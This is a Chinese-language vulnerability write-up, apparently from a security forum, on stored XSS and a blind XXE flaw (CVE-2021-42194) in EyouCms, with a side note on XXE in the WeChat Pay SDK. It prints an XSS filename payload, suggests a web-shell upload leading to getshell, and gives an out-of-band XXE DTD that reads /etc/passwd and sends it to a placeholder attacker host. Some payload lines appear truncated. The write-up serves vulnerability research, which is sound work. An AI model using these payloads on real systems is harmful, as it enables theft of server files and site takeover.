EyouCms是基于TP5.0框架为核心开发的免费+开源的企业内容管理系统,本次漏洞包括:存储型xss漏洞、xxe漏洞(cve-2021-42194 )
0x01 存储型xss漏洞
漏洞分析
1、定位到漏洞点,/application/function.php 我们可以发现对于上传的图片进行了后缀的检验,以及对于名称中的.\/进行了过滤,但并没有对图片进行重命名
漏洞利用
1、所以我们可以上传名称为 <img src=1 onerror=alert(1)>.jpg
的图片
2、点击头像->个人信息->更换头像->上传图片,我们发现xss代码成功执行
拓展
1、我们还可以上传名为一句话木马的图片
如果目标网站是使用的phpstudy进行的建站,那么在mysql文件下的upload.MYD文件中会将一句话木马保存下来,如果目标站点存在文件包含漏洞,那么将直接getshell
0x02 xxe漏洞(cve-2021-42194 )
漏洞分析
1、我们定位到漏洞地址application/home/controller/Index.php的wechat_return()方法中,我们可以看到第137行直接将传入的xml代码给到了simplexml_load_String函数进行了解析,并且没有禁用外部实体,最终导致了xxe漏洞。
而进入到simplexml_load_String函数的前提条件是,先从数据库中查询pay_info字段,然后获取其中的appid,如果appid不为空或者传入的xml代码中存在appid,那么就会造成xxe漏洞。
2、这个appid可以定位到application/admin/controller/PayApi.php的WeChatPayConfig方法中
定位到网站中就是基本信息->接口配置->微信支付
定位到数据库中就是pay_api_config->pay_mark=wechat->payinfo
漏洞利用
1、dnslog测试,发现是无回显的xxe
2、我们可以使用参数实体,引用外部DTD。
Payload
%remote;%int;%send;
]>
test.dtd
<!ENTITY % file SYSTEM “php://filter/read=convert.base64-encode/resource=file:///etc/passwd”>
<!ENTITY % int “<!ENTITY % send SYSTEM ‘http://ip?p=%file;'>">
3、可以看到在服务器日志上面出现了我们想要的内容。
整个调用过程:
我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。
拓展
1、这个漏洞让我想到了微信支付的xxe漏洞,WXPayUtil下的xmlToMap方法存在XXE漏洞,使用了DocumentBuilder危险函数,直接将传入的字符串转换为了map集合,并且未对字符串进行过滤,导致攻击者可以传入任意的攻击代码。
我们写一个测试方法,调用xmlToMap方法,发现成功读取文件内容。
package com.github.wxpay.sdk;
import java.util.Map;
public class test {
public static void main(String\[\] args) {
String str = "<?xml version='1.0' encoding='utf-8'?>\\r\\n"+
"\\r\\n"+
" \]>\\r\\n"+
"<creds><goodies>&goodies;</goodies><pa>susu</pa></creds>";
Map<String, String> map;
try {
map = new WXPayUtil().xmlToMap(str);
System.out.println(map);
} catch (Exception e) {
e.printStackTrace();
}
}
}
可能有些同学会有疑惑,为什么要嵌套两个元素,如: "<creds><passwd>&goodies;</passwd></creds>";
因为传入的xml语句的元素会被当作map的key,变量会被当成map的value,如果是只嵌套一个元素,如: "<creds>&goodies;</creds>";转换为map后就变成了{ },因为是获取子节点传入nodeList中,上面的写法没有子节点,所以输出null。
可以看到子节点都被转换为map输出出来。
0x03 参考链接
https://github.com/eyoucms/eyoucms/issues/19
https://github.com/eyoucms/eyoucms/issues/23
- 本文作者: 苏苏的五彩棒
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1460
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!